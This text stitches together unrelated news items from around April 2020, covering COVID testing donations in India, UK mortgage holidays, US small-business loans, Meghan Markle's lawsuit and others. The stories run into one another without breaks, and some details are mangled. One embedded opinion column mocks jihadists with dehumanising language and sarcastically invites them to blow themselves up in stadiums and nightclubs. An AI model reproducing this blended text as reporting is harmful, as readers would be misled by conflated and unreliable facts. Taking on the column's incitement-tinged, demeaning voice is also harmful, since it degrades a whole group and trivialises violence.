Theodor Fridbertsson will present the results and answer questions from participants. The webcast will take place in English. The webcast will be accessible live on financialhearings.com and a link will also be made available on the Bank's website under Investor Relations . To participate in the webcast via telephone and put forward questions please call in using the relevant number indicated below before the start of the webcast: SE: +46 850 558 351 UK: +44 333 300 9030 Iceland: +354 800 7520 United States: +1 833 526 8396 Various companies such as Prism Cement and Yash Technologies have decided to donate advance testing machines to Madhya Pradesh government to fast examine coronavirus samples in the state. COVID-19 testing is a major challenge for the state government, which at present has 2,165 positive cases with 110 deaths so far. As part of CSR initiatives, Prism Cement - a unit of Prism Johnson Lid and Indore-based Yash Technologies will donate two high capacity advanced testing machines. These machines will be installed in Indore and Bhopal for testing corona samples, state Medical Education departments principal secretary Sanjay Shukla told PTI Tuesday. Shukla also informed that these companies were originally planning to donate money to the CM Relief Fund, but later Chief Minister Shivraj Singh Chouhan suggested that it would be better if these firms can provide vital machines for testing instead of funds, as that will expedite the process of availability of these testing units in the state during such a crucial time. These machines are capable of testing 800-1,000 tests per day and have already arrived in Bhopal and Indore, Shukla said. Besides, Vardhman Group, Dalmia Cements and Welspun have also decided to donate such machines to the state for augmenting its testing facilities, which will play a major role in fighting corona virus scare, he said. In order to augment the testing facilities for COVID-19 in Madhya Pradesh, Prism Cement Division of Prism Johnson Limited, as a responsible corporate citizen decided to contribute in this social cause by handing over to the state government a high speed Corona Virus Testing Machine under CSR, Prism Johnson Limiteds general manager, Neelmani Singh said. Made in Singapore RT PCR system QuantStudio 7 Flex system with Ancillaries is one of the most advanced machines available presently and can accurately conduct about 1,000 tests per day. The cost of the machine is Rs 65 lakh. This will help the state government to quickly and accurately test patients and help in halting the spread of the contagious virus. Singh also informed that the machine has already been delivered to the government and it will be installed at Gandhi Medical College (GMC) for testing corona samples. The state will now be able to reduce the pendency of samples and would be able to start treatment of the affected persons at the earliest to check the spread of corona virus, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) NRPLUS MEMBER ARTICLE J ihadi leaders are telling their militants that the coronavirus is their friend, a fellow soldier of Allah, and that is good news for us. With a bit of luck, these lunatics will forego any health precautions, and there wont be any respirators available for them when that soldier of Allah comes to take them to paradise. Jihad magazines are now calling on their lone wolves to take advantage of this crisis and attack the West, pointing to places such as Paris, London, Brussels and Chicago. And it certainly is an excellent time for them to attack, especially if they choose self-immolation: My advice would be to do so in stadiums, nightclubs, or large venues, before the end of this mandatory confinement. I have spent the last few days monitoring radical messages for this article, and I suspect that this viral-jihadist plan might have some gaps in it, but I cant quite put my finger on them. From the point of view of a freedom-loving Westerner and enemy to scum in general, it seems like a perfect plan. The last thing [the Crusaders] want is for the horrible pandemic experience to coincide with attacks on their countries, they say in their pamphlets. (The Crusaders are you and I.) America, France, Britain, and other countries are rechanneling their armed forces towards fighting the virus, they celebrate, claiming that this keeps them from concentrating on their anti-jihadi surveillance. As I read their propaganda, I receive a message on my cell phone from a source in the police: One of Europes most wanted jihadists has just been arrested in Almeria [southern Spain]. He was wearing a mask to hide his identity from the police! I light a cigar, smiling like Hannibal Smith. The terrorist arrested in Spain is Abdel Majed. He is a former British rapper. After listening to some of his music, I wonder if perhaps he should have faced execution long before he decided to leave everything to go to Syria and join Islamic State (or at least a ban on public performance). There, he became infamous for posting gruesome images on Twitter of him holding the heads of decapitated hostages. This led the police to wrongly suspect, for a time, that he might be Jihadi John, the bloodthirsty individual who became notorious for his video of the disgusting murder of American journalist James Foley. Abdel Majed had arrived in Spain ten days ago. In a demonstration of state forces being very distracted by coronavirus, as Islamist leaders suggest, about 20 police officers armed to the teeth raided Abdel Majeds house in the early hours of the morning, arresting him without having to fire a single shot. Story continues For the most part, both Al Qaeda and Islamic state are convincing their terrorists that the coronavirus is Allahs punishment for infidels, inferring that the faithful are not harmed. Within this trend, there are two lines of theological discourse: one, more cautious, which points out that although it does not harm jihadists, it is better to wash your hands, and another, more seductive from our point of view, that insists the coronavirus is a friend of the jihad and that, in the worst case, pneumonia is nothing more than a passport to paradise. As usual, these diatribes of jihadi leaders are the product of relentless predicating from radical clerics. On April 8th, the Egyptian scholar Mohammed Al-Hefnawi Al-Ansari posted a video on YouTube where, overjoyed, he signaled the way forward for the more ominous of his viewers. Thank you coronavirus, he said, by order of Allah, who has imposed this plague on us, the coronavirus has managed to close all the pubs. And he added with evident enthusiasm: The coronavirus has closed the pubs and has banned bongs and cigarettes. Thank you coronavirus! A guy who is happy about a pandemic that has killed nearly 200,000 people worldwide is, by definition, a bad person. But if he also celebrates that the bars have had to close, personally, and as a Spaniard, I consider Al-Ansari to be the damned offspring of a hyena. It is easier to sympathize with what a Canadian cleric, I think his name is Younus, said to his disciples. This Islamist leader claims that mingling with non-Muslims is more dangerous than the coronavirus. This idea is interesting for two reasons: On the one hand, it could keep the jihadists away from us, which is exactly what we want, and on the other hand, it could keep the terrorists close to the coronavirus, which wont keep us awake at night either. Encouraged by such messages, a radical Islamist claimed that, thanks to the popularization of the mask, Europeans and Americans are finally discovering the benefits of the burqa. Meanwhile, in another forum, an enthusiastic Islamist writes a long message in which he repeats the same statement over and over again: Muslims dont kill, they infect. Thats only for infidels! Brilliant. A definite candidate for the Darwin Awards 2020. The best thing is that there are hundreds like him all over the various forums and social networks. Far from our borders, in Iraq, Islamic State terrorists are taking advantage of the pandemic to intensify their attacks, especially against security forces, due to the fact that they are distracted in streets and town squares forcing civilians to respect the confinement. In Tunisia, two Islamists were arrested last week on charges of attempting to infect the police with coronavirus. The first of these masterminds hatched his brilliant plan and spread it among his followers. The second, who was already under police surveillance, was instructed to cough like crazy every time he visited the police station, so as to spread the virus. He was arrested for being unhygienic but ended up going to jail for jihadi terrorism. I stumbled across a prayer to Allah, written by a lunatic imam, asking the Almighty to annihilate all the infidels with the coronavirus, causing them as much pain as possible, and to protect the Muslims from the virus. Contrast that plea with another prayer that has also accidentally fallen into my hands, from European bishops, in which the faithful are invited to pray for an end to the pandemic and for the healing of all affected people in all countries of the world. All of this just reminds me that, when this pandemic is over, the cultural battle in the West will continue to live on. Its important to remember which side we want to be on. More from National Review The District Agriculture Officer (DAO) of Araria, who had forced a home guard jawan do squats for flagging down his car during lockdown recently, was on Tuesday suspended by the Bihar government. The suspension has been ordered on the basis of an inquiry report, state Agriculture minister Prem Kumar said in a statement. The minister had ordered an inquiry into the incident. The department had issued show cause notice to the officer Manoj Kumar in connection with the matter. The sordid episode had taken place near Surajpur pul (bridge) on Araria-Jokihat road under Jokihat police station area, when chowkidar Ganesh Lal Tatma flagged down the DAOs vehicle and sought valid pass from him for moving during coronavirus-triggered lockdown. This had angered the DAO, who took it as his insult and asked the jawan to do 50 squats as punishment. He did not stop by only doing so but also threatened to send the jawan to jail for his act. A police officer, who was heard in the video posing himself as incharge, had also scolded the jawan for letting him down in front of senior officers. The said policeman,an Additional Sub Inspector of Police, has already been placed under suspension. State police chief Gupteshar Pandey had himself talked to the chowkidar and apologised to him on behalf of the erring police official. The agriculture minister said, it is our duty and moral responsibility to give respect and honour to all of those- be it a lower or high ranking official- who have been unselfishly working far from their families in this hour of crisis of Coronavirus. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) https://www.youtube.com/watch?v=a-5E_15T6k0&feature=youtu.be Four-part documentary The Last Narc is coming to Amazon Prime Video in mid-May. The series centres on the most notorious murder in the history of the DEA the 1985 kidnapping and murder of DEA Agent Enrique Kiki Camarena. The Last Narc tells the story of a fallen hero, the men who killed him, and the one man who risked everything to find out what really happened and why. Highly decorated special agent Hector Berellez, who was assigned to lead the DEAs investigation of Camarenas murder, peels back the layers of myth and propaganda to reveal the bone-chilling truth about a conspiracy that stretches from the killing fields of Mexico to the halls of power in Washington, D.C. Berellezs powerful testimony appears alongside that of Camarenas brave widow, as well as three Guadalajara Cartel insiders. These men were corrupt Jalisco State policemen who, at the time of Camarenas murder, served as bodyguards to legendary drug lords Rafael Caro Quintero and Ernesto Fonseca Carrillo. Eventually, they became informants for Berellez and helped him crack the most infamous murder of the War on Drugs. The Last Narc is directed by Tiller Russell and a production of Amazon Studios and Industrial Medias The Intellectual Property Corporation (IPC). IPCs Eli Holzman and Aaron Saidman are executive producers. Over the course of his career, Russell has explored a variety of true crime cases across his documentary and fiction work including: Operation Odessa, which premiered at South by Southwest Film Festival and was released by Showtime; The Seven Five, which premiered at DOC NYC and was released by Sundance Selects; and the upcoming Silk Road, which stars Jason Clarke and Nick Robinson. Friday May 15 on Amazon Prime. D eaf campaigners have begun legal proceedings against the Government over the lack of sign language interpreters during the daily coronavirus briefings. Users of British Sign Language, which has been recognised as a minority language, say they are being discriminated against because critical information is not conveyed to them. Legal firm Fry Law has started judicial review proceedings under the Equalities Act, claiming deaf people are being excluded from the national addresses in Downing Street. The news comes as a social media campaign #WhereIsTheInterpreter? gained traction on Twitter. Sign language interpreters have been included in Scotland's daily briefings. In Scotland, briefings are carried out with a sign language interpreter / Scottish Government/AFP via Gett Downing Street said the BBC has agreed to use interpreters during its televised briefings, which provide the latest updates from the Government. Lynn Stewart-Taylor, who classes BSL as her first language, tweeted #WhereIsTheInterpreter? on March 9. She has an average reading age of seven and was concerned that she was missing vital information, the BBC reported. Loading.... "Trying to decipher the information [from subtitles] is like trying to work out something written in a foreign language," she said. Taking to Twitter she asked why deaf people were being put at a disadvantage and added: "This is hugely worrying as no #BSL interpreter was present at @BorisJohnson return back today! Why are Deaf people excluded??". Fry Law claims a lack of interpreter breeches the 2010 Equalities Act which says that discrimination based on certain charismatics is unlawful. The company has started judicial review where a judge decides if a case had merit, however, to continue proceeding 15,000 must be crowdfunded by May 6. This will ensure if the case does not swing in its favour, it will be able to cover Government legal fees. A Downing Street spokeswoman said: "It is vital that public health information reaches everyone across the country, which is why we have reissued guidance to every government department reminding them that all their communications must be fully accessible, to ensure they reach everyone in appropriate, inclusive formats. Meghan Markle might have to testify in her ongoing lawsuit against British tabloids. Meghan, Duchess of Sussex, and Prince Harry are suing the tabloids for publishing a confidential letter she sent to her father, Thomas Markle. With the lawsuit set to land in court, there is a strong chance that Meghan will have to testify and it sounds like she is willing to get on the stand. Meghan Markle | Charles McQuillan/Getty Images Inside Prince Harry and Meghan Markles lawsuit The Duke and Duchess of Sussex are suing a British tabloid for publishing some of her personal letters without permission. Meghan wrote the letters to her dad and says that she wanted them to be kept confidential. The couples lawsuit, which is against Associated Newspapers, argues that the tabloids committed copyright infringement. They also say that the outlets abused private information and went against laws that protect data in the United Kingdom. A Breakdown of Meghan Markle and Prince Harrys Lawsuit Against Associated Newspapers https://t.co/Z6u0S5dZdB pic.twitter.com/xsA8clMtbZ ELLE Canada (@ElleCanada) December 10, 2019 Associated Newspapers denied any wrongdoing. The company also said that it did not change the content of the letters or misrepresent what Meghan Markle wrote in any way. Attorney David Sherborne is representing Meghan and released a statement on her behalf. According to Fox News, the statement revealed that Associated Newspapers has asked to interview Meghan to discuss the claims she made against them. The defendant [Associated Newspapers] wants to cross-examine her [Meghan] as to whether that belief is reasonable or not and they can do that, Sherborne stated. Will the Duchess of Sussex testify? With Associated Newspapers wanting to cross-examine Meghan, the next question is whether or not Meghan is willing to do so. The Duchess of Sussex has not commented on the situation, but she is reportedly willing to testify if it comes down to that. On April 24, a hearing for the case took place in the UKs High Court. Meghan and Harry joined the session via a video call. The couple is currently living in Los Angeles and is unable to fly due to the coronavirus lockdown. Meghan Markle's legal battle with the British press continues as she attempts to set the record straight on her communication with her father, Thomas Markle, during the lead-up to the royal wedding. https://t.co/8KtTFY2mE1 pic.twitter.com/pJmuKIci7H E! News (@enews) April 20, 2020 At the hearing, lawyers on behalf of Associated Newspapers revealed that Meghan had issued further assertions of improper, deliberate conduct, including accusing them of harassing, humiliating, manipulating, and exploiting her father. There is no telling if Meghan will actually testify or not. The royals took part in a similar lawsuit against British tabloids in the 1990s when photos of Princess Diana exercising at the gym surfaced in the media. The royals settled that case out of court. Meghan Markles father finds himself in the middle of another controversy Meghans family woes started when she tied the knot with Harry back in 2018. At the time, Meghans father was supposed to walk her down the aisle. But he back out at the last minute due to health concerns. Thomas was also involved in a major scandal. Weeks before her big day, images were published that showed Thomas preparing for his daughters wedding. But fans later learned that all of the photos were staged, and that Thomas made money posing for the cameras. As Prince Harry and Meghan Markle go to war against the British tabloids on several fronts, new text messages show how the couple tried, and failed, to shield Thomas Markle from the media. With bonus insight into Prince Harry's textmanship: https://t.co/Kv8ZFIJKuo pic.twitter.com/DXUQCkwIwp Mark Di Stefano (@MarkDiStef) April 20, 2020 Over the past few years, Thomas has slammed the royal family on several occasions. As a result, Meghan Markle and Thomas have grown apart, with the latter claiming that the former actress completely ghosted him after the ceremony. We do not know if Thomas will also take the stand. If he does, this will be the first time Meghan and Thomas confront each other in several years. Meghans friends might also testify To make things even more complicated, there is a chance that some of Meghans friends will be called to take the stand as well. Last year, five of Meghans close pals opened up about the emotional trauma she suffered as a result of the published letters. Depending on how things go in the trial, it is possible that all five of her friends (who gave the interview anonymously) will speak on her behalf. Meghan Markle claims the media destroyed her relationship with her father, reveals Prince Harry's texts to Thomas Markle https://t.co/CLVBjvsocD Newsweek (@Newsweek) April 20, 2020 For her part, Meghan says that she had no idea her friends were going to mention the letters in public. Prince Harry and Meghan Markle are currently abiding by the rules of the lockdown while in LA, and it has been confirmed that they will offer a rare glimpse of Archie Harrison in honor of his first birthday on May 6. By Pete Schroeder and Michelle Price WASHINGTON (Reuters) - U.S. banks on Monday began another chaotic dash to grab $310 billion in fresh small business aid released by the government, after it changed some of the rules of the first-come-first-served program at the 11th hour. By Pete Schroeder and Michelle Price WASHINGTON (Reuters) - U.S. banks on Monday began another chaotic dash to grab $310 billion in fresh small business aid released by the government, after it changed some of the rules of the first-come-first-served program at the 11th hour. The Small Business Administration (SBA) reopened its Paycheck Protection Program at 10:30 a.m. EDT (1430 GMT), allowing lenders to resume processing applications from businesses hurt by the novel coronavirus shutdown. Several bankers reported experiencing technology problems only minutes into the SBA reopening its loan processing portal, E-Tran, which was not designed to handle such huge volumes of traffic. So ETRAN lasted a whole 2 minutes before crashing. ... Its going to be a long 48 hours, tweeted Alec Downing with First Farmers Bank & Trust in Indiana. In an email, the SBA said that due to changes to ensure submissions were fairly paced would result in some lenders being "timed out" if they tried to submit too many applications. With the nations lenders already sitting on hundreds of thousands of backlogged applications, the fresh funds are expected to be burned through in days - leaving swaths of mom-and-pop enterprises out in the cold again, banking groups said. Bank of America, for example, reported receiving 279,000 applications in the first five days of the program launching, of which it processed at most 15%, based on a Reuters analysis of SBA disclosures. JP Morgan, the top lender in the first round, said it had 300,000 loans "in some stage of the application process" of which it had processed 10% by the time the first round of funds ran out. Everyone pretty much has applications ready to go. It should be a week or so before the money is eaten through, said Paul Merski, an executive vice president at the Independent Community Bankers of America. He added it would be very challenging for anyone who has not already applied for a loan to successfully do so this week. Created as part of a $2.3 trillion congressional economic relief package, the program kicked off on April 3 with an initial $349 billion in funding which was quickly exhausted in less than two weeks. The program allows small businesses hurt by the coronavirus to apply for government-guaranteed loans with participating banks. Those loans will be forgiven if they are used to cover payroll costs, subject to some conditions. Given the pent-up demand, banking groups on Sunday said they were worried that the flood of new applications would strain the SBAs loan processing system, which ground to a halt several times during the first round, bankers said at the time. Everybody is going to go through the same one-inch pipeline, said Richard Hunt, chief executive of the Consumer Bankers Association. Itll be every bank for themselves. On Sunday, the SBA said it would try to mitigate that problem by announcing that banks could submit a minimum of 15,000 applications in a one-off bulk file, leaving smaller lenders to battle with the clunky E-Tran system. This site cant be reached, however, was the message those bankers saw on Monday morning when trying to access the system, several bankers said on social media. Amid the rush to get funds out the door, the first round of the program was also hobbled by technology and paperwork issues. It has also come under scrutiny after banks channeled some of the money to their larger, more profitable clients, including hedge funds and public companies. The SBA and the U.S. Treasury appeared to try to address those worries on Sunday by imposing a $60 billion cap on the amount of funds a lender can process under the program, although few, if any, banks are likely to hit that high ceiling during the second round. The banks have been less than helpful in all this, said Brian Rindos of Maryland, owner of care provider Kids Adventures, who tried more than nine lenders after several turned him away or ignored him altogether. On Friday, he said he received tentative approval for a loan but was waiting for confirmation. Lets say Im cautiously optimistic ... this time. (Reporting by Pete Schroeder and Michelle Price; additional reporting by Ann Saphir; editing by Diane Craft, Lisa Shumaker and Jonathan Oatis) This story has not been edited by Firstpost staff and is generated by auto-feed. BEIJING, April 28 (Xinhua) -- The Chinese mainland reported three new imported cases of the novel coronavirus disease (COVID-19) Monday, bringing the total number of imported cases to 1,639, the National Health Commission said Tuesday. Of the total imported cases, 1,087 had been discharged from hospitals after recovery, and 552 were being treated in hospitals with 21 in severe conditions, the commission said. No deaths had been reported from the imported cases. Homeowners across Britain have taken payment holidays on one in seven mortgages during the coronavirus pandemic - totalling an estimated 3.6billion. Loans on 1.6million homes are now subject to the payment break, which amounts to 755 per month of suspended payments for the average mortgage-holder. The figures revealed by trade association UK Finance as of April 24 show how people are using the measure intended to help those in financial difficulties amid the crisis. It comes as a row of abandoned estate agent boards were pictured in Wandsworth, South London, today after being taken down with much of the market now on hold. Abandoned estate agent boards near Wandsworth Common in South London pictured today The estate agent boards in Wandsworth have been taken down during the coronavirus crisis The payment breaks are in place for up to three months, meaning people are having an average of 2,265 suspended - totalling 3,624,000,000 across 1.6million homes. UK Finance also said firms are waiving a rule in order to help customers move over to a new mortgage deal with their lender. UK Finance chief executive Stephen Jones (pictured) said the industry had 'acted quickly to support home-owners through this crisis' Normally, customers who are coming to the end of a fixed-term deal would not qualify for a product transfer if they are currently on a mortgage payment holiday. But UK Finance said that, given the current exceptional circumstances, lenders are waiving this rule to help borrowers affected by Covid-19. Product transfers are for like-for-like mortgages and tend not to require borrowers to go through a new affordability assessment, meaning existing borrowers who have been furloughed will also be eligible. Robin Fieth, chief executive of the Building Societies Association (BSA), said: 'Lenders are working hard to help in a range of ways and it is right that this now includes the ability for those on a three-month payment holiday to be able to switch on to a new product with their existing lender at the end of a fixed-term product should the two events coincide.' A bus travels past the abandoned estate agent boards near Wandsworth Common today Kate Davies, executive director of the Intermediary Mortgage Lenders Association (IMLA), said: 'This agreement builds on the commitment made by lenders in July 2018 to contact customers who are coming to the end of a mortgage deal and discuss what alternative options might be available. How banks could make 800million from the avalanche of mortgage holidays Banks are set to make more than 600 million in extra interest paid by cash-strapped homeowners taking mortgage holidays. Campaigners say the vast profit lenders will make from the crisis is 'disgraceful' and are demanding they scrap additional interest charges. The breaks are seen as a lifeline for borrowers facing financial ruin due to the coronavirus crisis and 1.6million have been approved, according to UK Finance. But most homeowners will end up facing heftier interest payments as a result around 500 on a typical mortgage. That is despite banks being able to borrow at record low rates and the billions of taxpayer cash that was used to bail them out in the last financial crisis. Baroness Altmann, former pensions minister, said: 'It's an outrage that people are being led to believe that banks are somehow being kind to them when actually what they're doing is making more money from them. What we need is an interest holiday that doesn't rack up extra costs in the long run and actually gives something back.' Homeowners can ask their bank to freeze their mortgage payments for three months, but face paying out more overall because interest accrues. When the break ends, borrowers can choose to pay back the interest or add it to their loan balance. The latter option will cause monthly repayments to rise for the rest of the term. On an average 132,128 mortgage at 2.37 per cent over 17 years, the total repayment is 160,656. A three-month mortgage holiday will push the total up to 161,164, an increase of 508, says AJ Bell. The majority of approved holidays are thought to be for the full three months. The Financial Conduct Authority has encouraged banks to be flexible when offering mortgage holidays and has said lenders can reduce or waive extra interest charges for those in need. Advertisement 'It offers additional - and no doubt welcome - reassurance that customers will not be penalised if they have sought an approved payment holiday during this difficult period.' Three-month mortgage payment holidays may be offered to borrowers who are up to date with their payments. But interest will continue to accrue and borrowers will still owe the money when a payment holiday has been granted - so the overall mortgage debt will continue to build up and it will still need to be paid off. Mortgage borrowers may want to consider making part-payments to reduce their debt even if they cannot currently afford to pay the full amount. UK Finance said a payment holiday may not be the right choice for everyone, and customers should only apply if they need one. People making applications for this support will need to self-certify that their income has been either directly or indirectly hit by the coronavirus pandemic. It has also previously said that firms will make every effort to ensure that payment holidays do not negatively affect people's credit ratings. More than a third of all payment holiday approvals so far were in the early days of the lockdown, between March 25 and April 1. UK Finance chief executive Stephen Jones said: 'The industry has acted quickly to support home-owners through this crisis and has taken decisive steps to ensure that eligible customers on payment holidays due to Covid-19 can opt for the security of fixing their monthly mortgage payments going forward. 'There is a range of support available to mortgage-holders concerned about their finances. 'We would encourage any home-owners impacted by coronavirus to visit their lender's website in the first instance to find out more information and how to apply.' Many lenders are offering customers the option to apply for a mortgage payment holiday by filling in a form on their website, as phone lines remain extremely busy. Lenders are also urging mortgage-holders not to cancel their direct debits before a payment holiday has been agreed, as this will be counted as a missed payment and could affect their credit file. Demand for homes collapsed in March and, even though it has picked up a little over the past couple of weeks, it still remains 60 per cent below the levels at the beginning of March Demand is defined by Zoopla as potential buyers viewing property listings and following up with further enquiries. Cardiff saw one of the biggest drops in demand last month, of about 80 per cent, while Newcastle registered a lower drop in demand, which is down almost per cent It comes after Zoopla estimated around 373,000 property transactions, with a total value of 82 billion, are now on hold due to coronavirus lockdown measures. Santander reveals 240,000 of its customers are on mortgage and credit card holidays - with savings rates and 123 account due to be cut Nearly 240,000 Santander customers have been given three-month payment holidays on their credit cards, loans and mortgages, the bank said this morning. The UK arm of the Spanish bank, Britain's fifth-largest high street lender, revealed its pre-tax profit fell 58 per cent to 114million in the first three months of 2020, blaming competition in the mortgage market and the coronavirus crisis. Santander currently has seven cuts to variable rate savings accounts lined up for next month, while the in-credit interest paid on its flagship 123 current account will also be cut from 1.5 per cent to 1 per cent. The bank said it had set aside 122million to cover loan defaults and losses related to the coronavirus, which took its credit impairment losses for the first three months of 2020 to 165million, eating into its profits. Fellow high street bank HSBC announced this morning its profits for the first three months of 2020 were half what they were last year, as it set aside an enormous 2.4billion to cover coronavirus-related defaults and losses. Santander said it expected its income to be further impacted by the record low Bank of England base rate of 0.1 per cent and 'significantly reduced new business related to the lockdown'. It said this would be 'partially offset by changes to deposit pricing', with the savings cuts coming into effect in the second half of this year. Advertisement The majority of the sales, which Zoopla said are worth just under 1 billion in estate agency fee income, were agreed between November 2019 and February 2020. They would have been set to complete between April and June. Zoopla said the number of sales being agreed is running at a tenth of the levels recorded in early March, with volumes similar to what would be expected around Christmas time in late December. The Government has said that, where a property is currently occupied, home-movers should do all they can to amicably agree alternative dates to move. People can still continue to move in limited circumstances, such as in cases where the property is vacant. Zoopla said the rate of sales falling through peaked on March 23 - the day stricter social distancing measures were imposed. Demand from would-be buyers fell by 70 per cent between the start of March and the week ending March 29. The fall in demand bottomed out in early April and has since seen a slow improvement, Zoopla said. Buyers can still go online to do 'virtual viewings' of properties they are interested in. Zoopla's report said that, over the past two weeks, demand for housing in cities across northern England has rebounded more strongly - notably in Manchester, Liverpool and Leeds. These are all cities where 2020 started strongly and where housing affordability remains attractive, and where we could see a faster bounce-back when restrictions lift. By contrast, higher value cities such as Cambridge, Edinburgh and Southampton have not yet recorded any material improvement in demand over the past few weeks, according to the report. Zoopla now expects the number of completed sales across the UK this year to be around half of 2019 levels. The Australian Senate votes on a new President of the Senate at Parliament in Canberra, Australia, on July 7, 2014. (Stefan Postles/Getty Images) Senate Committee Review into Australias Virus Response Begins Today The parliamentary select committee on COVID-19 begins today. Led by Senator Katy Gallagher, the committee will be examining how key policies during the virus outbreak in Australia, including JobKeeper, were created and implemented. The committee has broad terms of reference to allow a comprehensive review of the governments response to the pandemic and to ensure accountability. The Senate Committee into COVID-19 held its first hearing of many today and has a big job ahead. Here is quick wrap up of some of the issues we covered on the new look virtual senate hearing. #auspol #COVID19Aus pic.twitter.com/686bMsWkGv Katy Gallagher (@SenKatyG) April 23, 2020 The committee consists of three Labor senators, two coalition members, a Greens member, and independent Jacqui Lambie. The Senate established the committee on 8 April 2020 and will present its final report on 30 June 2022. Treasury officials will be questioned by the committee, followed by sessions with the Department of Social Services, National Disability Insurance Agency, and Services Australia. We just heard from the Treasury that only 10 percent of payments are in the pockets of Australians. Here is what Treasury had to say when I asked them why it is taking so long to get this support to people who need it. #auspol #COVID19Aus pic.twitter.com/mZjo1crOyb Katy Gallagher (@SenKatyG) April 28, 2020 Federal Opposition Leader Anthony Albanese supports the committee saying it would ensure oversight during this period. The federal budget has been pushed back from its usual May delivery date to 6 Oct. Parliament has been adjourned until Aug. 2020 while it deals with the virus. However, there are concerns about proper accountability measures. Pauline Wright, president of the Law Council of Australia, said in a statement that oversight of parliament had been restricted due to those measures. In these uncertain times, ensuring transparency, scrutiny, and oversight of the governments response is paramount if the Australian people are to maintain confidence in the parliamentary system. She was supportive of the committee and acknowledged the importance of its role. Australians need to see democracy fully in action, not suspended, throughout this crisis. Opposition parties in Tamil Nadu on Monday asked the state government to explain its decision on buying coronavirus rapid test kits at "higher price" from an intermediary company rather than directly from the importer who is also based in the city. The parties, including principal Opposition DMK, cited the Delhi High Court order that capped the price of each testing kit at Rs 400, rather than Rs 600 approved by the Indian Council for Medical Research (ICMR). For latest updates and live news on coronavirus, click here It is clear from the court order that the price of one such kit is Rs 245 including the freight charges, but the Tamil Nadu government has procured them at Rs 600 each. It has also come into the public domain that the state government did not buy the kits from an ICMR authorised company, but from an intermediary firm, DMK President M K Stalin said. Also read Tamil Nadu to return 24,000 coronavirus test kits to Chinese firm In a statement, he sought to know why the government went for a non-transparent method in procuring these kits even as it battles a shortage of funds. He also said the chief minister cannot avoid answering the questions by terming them politically motivated as it involves tax payers money. VCK chief Thol. Thirumavalavans asked the government to clarify why it chose to buy the kits from an intermediary company rather than procuring them directly from the importer, who is also based in Chennai. The company, Matrix Labs, that sold the kits to Shan Biotech at Rs 400 per piece is also from Chennai. If the government had inked a pact with Matrix Labs, it could have saved Rs 200 per kit. Why and how did this happen? The government should explain and be transparent about the process, Thirumavalavan said. AMMK leader T T V Dhinakaran demanded a white paper on the procurement process. CORONAVIRUS SPECIAL COVERAGE ONLY ON DH The Tamil Nadu government had placed an order for 50,000 rapid test kits of which 24,000 have been delivered already at the ICMR approved price of Rs 600 through Shan Biotech, which bought the kits from Matrix Labs, also based out of the city. Efforts to reach P Umanadh, Managing Director of the Tamil Nadu Medical Services Corporation (TNMSC), the procurement agency, on Monday proved futile. Health Minister C Vijayabaskar rubbished all allegations and said the government was returning all test kits to the Chinese firm. He also punched holes in Stalin's allegations that Shan Biotech was not approved by ICMR, saying it was one of the companies that were given dealership to distribute the kits by Matrix Labs. However, the state government has maintained that it paid the price which was agreed to by the ICMR. Matrix Labs, which imported the kits from China, said it procured them from a Chinese company, Wondfo, for a price of Rs 245 each which includes the freight price. The company sold the kits at Rs 400 each to Rare Metabolics, which fixed the price at Rs 600 per kit for purchase by ICMR and states. The price issue came to the fore after the importer and the distributor went to the Delhi High Court to sort out their pricing dispute. When DH reached out to Shan Biotech, the company tried to shift the blame to Matrix Labs, saying questions should be asked only to the importer or to the buyer, Tamil Nadu Medical Services Corporation (TNMSC). Likewise, Matrix Labs also tried to wash its hands off the issue saying they were dragged to the court by Rare Metabolics and it is the latter who needs to be questioned not the former. Maharashtra Chief Minister Uddhav Thackeray on Tuesday called up Uttar Pradesh Chief Minister Yogi Adityanath and urged him to take stringent action against those involved in the killing of two sadhus (mendicants) in Bulandshahr earlier in the day. "I called up the UP CM and expressed concern over the brutal killings today. We are all with the (Uttar Pradesh) government in tackling such heinous crimes," said Thackeray. He pointed out that on April 16, a similar incident of two sadhus and their driver being lynched had taken place in Palghar in which the Maharashtra government had initiated strong action. "We are hoping that you will follow suit and give the strongest punishment to the accused in the (Bulandshahr) incident," Thackeray said. The Chief Minister said he had also appealed to his Uttar Pradesh counterpart that "nobody should attempt to give the (Bulandshahr) incident any communal overtones". It may be recalled that four days after the Palghar mob-lynching case, a pertrubed Adityanath had called up Thackeray and demanded action against the perpetrators of the crime against the sadhus, belonging to a Varanasi ashram. Thackeray had assured prompt action in the matter and subsequently, around 110 accused villagers -- including the five masterminds -- have been arrested in the case till date. On April 20, Union Home Minister also spoke with Thackeray after which the state government had handed over the mob-lynching case to the Crime Investigation Department (CID) which is now probing the case. BAKU, Azerbaijan, April 28 By Tamilla Mammadova - Trend: The Georgian Ministry of Health will import another 50,000 rapid polymerase chain reaction (PCR) antigen tests from South Korea in early May, Trend reports citing Georgia media. Meanwhile, Georgia received the first batch of 200,000 PCR tests from South Korea to diagnose the COVID-19 on April 18. The rapid tests, produced by the South Korean SD Biosensor company allows detecting specific antigens to SARS-CoV-2, the virus that causes COVID-19. PCR is a gold-standard in epidemiology for detecting viral matter in blood samples. The antigen test is based on the immunoassay method, which determines the presence of the SARS-CoV-2 virus antigen in nose and throat and gives results in maximum 30 minutes. Georgian Deputy Foreign Minister Aleksandre Khvtisiashvili said that Georgia is going to import tests from Germany, Poland and China in the beginning of the next week, but he did not specify which type of tests will be brought in Georgia. Georgian Foreign Minister David Zalkaliani has posted his appreciation to South Korea for the cooperation to Georgia on his Twitter account. The number of coronavirus cases stands at 497 in Georgia as of April 27. --- Follow the author on Twitter: @Mila61979356 By Ofeliya Afandiyeva As of April 27, Azerbaijan has lifted some of the restrictions imposed in the country as part of the special quarantine regime over COVID-19. The Operational Headquarter under the Cabinet of Ministers said on April 24 that the decision to relax the quarantine regime was made after careful analysis of the sanitary-epidemiological situation, the dynamics and geography of the spread of COVID-19, the density of people in quarantine zones and the incidence of the virus among them. Thus, as of 27 April, reception of citizens at ASAN service centers have resumed. Activities have also been resumed in the following workplaces and service areas: individual teaching and tutoring services (excluding group classes); sale of books; sale of newspapers; sale of stationery; printing and copying activities; photo shops and studios; cleaning services in individual apartments; tailors services; sale of cosmetics and perfumes; sale of clothes; sale of shoes and leather goods; sale of gold and other jewelry and pawnshop activities; sale and repair of mobile devices, spare parts and accessories; sale and repair of computer equipment; sale of electronics and home appliances; sale of furniture; sale of automobiles; sale of chemical products; sale of flowers and plants; sale of agricultural machinery, spare parts and equipment; sale of fertilizers and agrochemical products. Restrictions on the activities in the above-mentioned areas located within shopping centers 